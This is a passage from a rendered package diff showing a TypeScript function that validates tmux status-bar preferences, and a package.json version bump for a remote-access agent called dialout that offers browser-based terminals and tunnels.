enabled: typeof status.enabled === 'boolean' ? status.enabled : DEFAULT_TMUX_PREFS.status.enabled,
|
|
155
|
+
position: oneOf(status.position, ['top', 'bottom'] as const, DEFAULT_TMUX_PREFS.status.position),
|
|
156
|
+
bg: text(status.bg, DEFAULT_TMUX_PREFS.status.bg, isValidTmuxColor),
|
|
157
|
+
fg: text(status.fg, DEFAULT_TMUX_PREFS.status.fg, isValidTmuxColor),
|
|
158
|
+
left: text(status.left, DEFAULT_TMUX_PREFS.status.left, isValidStatusTemplate),
|
|
159
|
+
right: text(status.right, DEFAULT_TMUX_PREFS.status.right, isValidStatusTemplate),
|
|
160
|
+
},
|
|
161
|
+
};
|
|
162
|
+
}
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@indianic/dialout",
|
|
3
|
-
"version": "1.
|
|
3
|
+
"version": "1.4.0",
|
|
4
4
|
"description": "Dialout agent — reach your office, home or build machine from any browser or phone. Remote tmux terminals, live port checks, filesystem browsing, process control and HTTP tunnels. The agent dials out: no inbound ports, no VPN, no port forwarding.",
|
|
5
5
|
"bin": {
|
|
6
6
|
"dialout": "./bin/devdash-agent.js"
|